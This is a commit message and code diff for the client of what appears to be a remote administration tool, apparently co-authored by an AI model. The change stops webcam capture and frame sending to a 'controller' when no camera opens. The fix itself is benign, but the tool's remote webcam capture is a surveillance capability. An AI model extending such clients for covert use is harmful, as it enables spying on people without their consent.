Fix: Skip video capture when camera fails to open

CCaptureVideo::Open now returns S_FALSE when BindVideoFilter cannot bind a capture device, instead of S_OK. CVideoManager records the result in m_bVideoOpened and exits WorkThread before SendBitMapInfor, so a host without a webcam no longer sends a 0x0 BITMAPINFO to the controller.

Co-Authored-By: deepseek-v4-pro

client/VideoManager.cpp

@@ -21,7 +21,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
     m_pVideoCodec = NULL;
     m_fccHandler = 1129730893;
 
-    m_CapVideo.Open(0,0);  // 开启
+    m_bVideoOpened = m_CapVideo.Open(0,0) == S_OK;  // 开启
     lpBuffer = NULL;
 
     m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL);
@@ -31,6 +31,11 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
 DWORD CVideoManager::WorkThread(LPVOID lParam)
 {
     CVideoManager *This = (CVideoManager *)lParam;
+    if (!This->m_bVideoOpened) {
+        This->Destroy();
+        return 0x20261013;
+    }
+
     static ULONGLONG	dwLastScreen = GetTickCount64();
 
     if (This->Initialize()) {        //转到Initialize